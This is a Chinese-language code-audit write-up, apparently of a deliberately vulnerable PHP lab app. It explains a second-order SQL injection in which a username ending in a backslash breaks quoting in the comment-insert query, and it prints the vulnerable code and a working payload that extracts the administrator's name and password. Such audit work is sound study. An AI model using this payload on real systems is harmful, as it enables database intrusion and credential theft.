审计8 截断注入
1 <?php 2 include_once('sys/config.php'); 3 4 if (isset($_POST['submit']) && !empty($_POST['message']) && isset($_SESSION['username'])) { 5 6 $clean_message = clean_input($_POST['message']); 7 8 9 $query = "INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('{$_SESSION['username']}','$clean_message',now())"; 10 11 mysql_query($query, $conn) or die(mysql_error()); 12 mysql_close($conn); 13 header('Location: message.php'); 14 } 15 else { 16 echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1> 17 <p>The requested URL ".$_SERVER['PHP_SELF']." was not found on this server.</p></body></html>"; 18 } 19 ?>
在留言页面 ../messageSub.php 发现在注册时发现第9行,往数据库插入语句时,将留言经过 clean_input($_POST['message'])函数进行了处理。
查看clean_input()函数:
1 function clean_input( $dirty ) { 2 return mysql_real_escape_string( stripslashes( $dirty ) ); 3 }
stripslashes()删除反斜杠
mysql_real_escape_string()对 \x00 \n \r \ ' " 进行转义
然后观察sql语句:
"INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('{$_SESSION['username']}','$clean_message',now())";
在获取username的时候是否可以将闭合的单引号转义
INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('test\','$clean_message',now())
红色部分将变成username的内容,因为\转义的单引号,是其闭合失败,在$clean_message的开始单引号,与其闭合。
$clean_message就可以随意构造攻击语句:
,(select admin_name from admin limit 0,1),1);#
$clean_message=,(select admin_name from admin limit 0,1),1);# 构造$clean_message 注释掉后面的sql语句,将查询到管理员的用户名
现在只需要构造姓名,让其出现\注释掉单引号即可。
然后注册用户名为 test\
sql语句为:
很明显进行了转义 \能对单引号转义。但是\\就失去了作用。
进入数据库发现,入库后竟然成了一个反斜杠。
1 <?php 2 include_once('../sys/config.php'); 3 4 if (isset($_POST['submit']) && !empty($_POST['user']) && !empty($_POST['pass'])) { 5 $clean_name = clean_input($_POST['user']); 6 $clean_pass = clean_input($_POST['pass']); 7 $query = "SELECT * FROM users WHERE user_name = '$clean_name' AND user_pass = SHA('$clean_pass')"; 8 $data = mysql_query($query, $conn) or die('Error!!'); 9 10 if (mysql_num_rows($data) == 1) { 11 $row = mysql_fetch_array($data); 12 $_SESSION['username'] = $row['user_name']; 13 $_SESSION['avatar'] = $row['user_avatar']; 14 $ip = sqlwaf(get_client_ip()); 15 $query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'"; 16 mysql_query($query, $conn) or die("updata error!"); 17 header('Location: user.php'); 18 } 19 else { 20 $_SESSION['error_info'] = '用户名或密码错误'; 21 header('Location: login.php'); 22 } 23 mysql_close($conn); 24 } 25 else { 26 not_find($_SERVER['PHP_SELF']); 27 } 28 ?>
在登陆页面发现重新获取了username变量。
登陆后发现报错。
发现用户名成功注释了单引号,导致页面错误。
进入留言页面,将payload输入,留言
成功将账号密码读了出来!